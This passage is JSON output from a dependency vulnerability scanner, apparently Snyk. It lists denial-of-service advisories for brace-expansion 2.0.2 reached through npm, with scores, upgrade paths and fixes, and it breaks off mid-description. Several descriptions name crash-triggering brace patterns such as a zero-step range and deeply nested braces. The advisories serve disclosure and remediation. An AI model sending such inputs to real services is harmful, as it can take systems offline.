"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## 